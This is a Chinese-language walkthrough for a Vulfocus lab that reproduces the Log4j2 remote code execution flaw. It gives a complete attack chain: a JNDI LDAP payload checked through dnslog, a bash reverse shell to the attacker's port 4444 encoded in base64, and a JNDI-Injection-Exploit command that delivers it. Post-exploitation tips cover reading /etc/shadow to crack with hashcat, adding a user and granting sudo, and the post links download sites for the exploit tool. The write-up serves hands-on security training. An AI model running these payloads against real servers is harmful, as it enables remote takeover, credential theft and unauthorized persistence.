【vulfocus靶场】log4j2 rce复现(vulfocus/log4j2-rce-2021-12-09)
作者:FancyPig | 发布时间: | 更新时间:
相关阅读
之前其实有粉丝发表过Log4j漏洞复现的教程,我们今天做一个补充,感兴趣可以继续阅读!包含POC和EXP
准备工作
- 靶场虚拟机 CentOS
192.168.10.215用来部署vulfocus的log4j2漏洞 - 攻击客户端 Ubuntu
192.168.10.217用来执行RCE 远程控制靶场机器
靶场部署
参考我们之前的文章,使用Docker方式部署Vulfocus
下载并启动镜像
这里确认您已经通过Docker部署完Vulfocus,并已登录(默认密码admin/admin)
在vulfocus后台下载vulfocus/log4j2-rce-2021-12-09:latest镜像

然后在首页启动该镜像


复现过程
任务一:dnslog回显
先在http://www.dnslog.cn/获取一个域名,用来测试是否正常回显

这个q98csp.dnslog.cn是我们获取到的域名,一会儿用来验证是否有回显
我们访问目标页面,正常的请求是
http://192.168.10.215:12219/hello?payload=111

这时我们打开BurpSuite并用浏览器的FoxyProxy插件设置好抓包的代理模式

我们使用BurpSuite抓包,将其发送到重放模块中

然后修改payload参数,提交
payload=${jndi:ldap://q98csp.dnslog.cn}

这时发现返回值是400

我们尝试通过URL编码,这里注意仅对payload=后面的部分进行编码,否则会注入失败

然后提交

这里看到返回值是200,说明提交成功了

我们这时回到http://www.dnslog.cn/页面,点击Refresh Record刷新记录

发现回显成功了,这里已经能看到IP地址了,因此我们确认了刚才的提交确实存在Log4j2的漏洞

任务二:RCE远程命令执行
接下来我们将完成漏洞的利用,我们通过Log4j2的漏洞可以尝试对服务器进行远程控制,主要核心还是反弹shell,我们之前讲过,详细原理参考这个视频
我们先新建个终端,开启4444端口监听
ncat -lvvp 4444

通过反弹Shell在线生成工具生成shell,来进行反弹shell

bash -i >& /dev/tcp/192.168.10.217/4444 0>&1
然后将其转换为base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIxNy80NDQ0IDA+JjE=

然后配合我们的JNDI注入工具,相关命令如下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIxNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.217
上传好JNDI注入工具( JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar )然后使用终端运行上面的命令

复制rmi://192.168.10.217:1099/6icmea
然后将其填入payload参数中

然后对payload=后面的部分进行url编码

然后提交

然后我们发现这里貌似在建立连接了

然后进入最开始4444端口监听的终端,我们发现居然连上了192.168.10.215的虚拟机了

然后我们,cd ../tmp就可以找到flags了


然后通关了

当然你如果到了远程连接这一步,其实还可以做很多,我们之前整理过一些常见的命令
- 获取系统账户信息(
cat /etc/shadow)
拿到账户名和加密的密码后,使用我们之前讲的hashcat可以进行破解
- 添加用户(
useradd -m 用户名) - 提升用户权限(
usermod -G sudo 用户名)
相关工具汇总
- dns回显在线网站 http://www.dnslog.cn/
- 反弹shell在线生成工具 https://www.pigsec.cn/rce/
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar https://pan.pigsec.cn/s/kgjIk